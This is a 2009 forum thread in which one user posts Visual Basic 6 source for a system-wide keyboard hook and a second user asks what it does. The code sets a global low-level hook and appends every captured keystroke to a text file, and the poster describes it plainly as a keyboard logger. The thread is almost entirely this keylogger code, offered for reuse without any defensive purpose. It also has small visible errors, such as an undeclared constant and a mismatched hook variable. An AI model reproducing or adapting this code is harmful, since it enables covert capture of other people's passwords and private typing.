[VB6] hook keyboard

**~Fleck** on Tue Jun 30, 2009 6:38 am

module :

Code:: Private Type KBHOOKSTRUCT vkCode As Long scanCode As Long flags As Long time As Long dwExtraInfo As Long End Type Public Const WH_KEYBOARD_LL = 13 Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Public Declare Sub CopyMemoryLong Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Long, ByVal Length As Long) Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) Public HookHW As Long Public Function myfunc(ByVal code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Dim kybd As KBHOOKSTRUCT myfunc = True If code = HC_ACTION And wParam <> 257 Then CopyMemory kybd, ByVal lParam, Len(kybd) Open App.Path & "\kybd.txt" For Append As #1 ' change the path to any file Print #1, Chr(kybd.vkCode) Close #1 myfunc = CallNextHookEx(Hook, code, wParam, lParam) ElseIf code < 0 Then myfunc = CallNextHookEx(Hook, code, wParam, lParam) End If End Function

form:

Code:: Private Sub Form_Load() 'SetHook HookHW = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf myfunc, App.hInstance, 0) End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) 'Unhook Call UnhookWindowsHookEx(HookHW) End Sub

**jkymmel** on Tue Jun 30, 2009 7:40 am

does it disable the keyboard

**~Fleck** on Tue Jun 30, 2009 7:42 am

logs keyboard

Re: [VB6] hook keyboard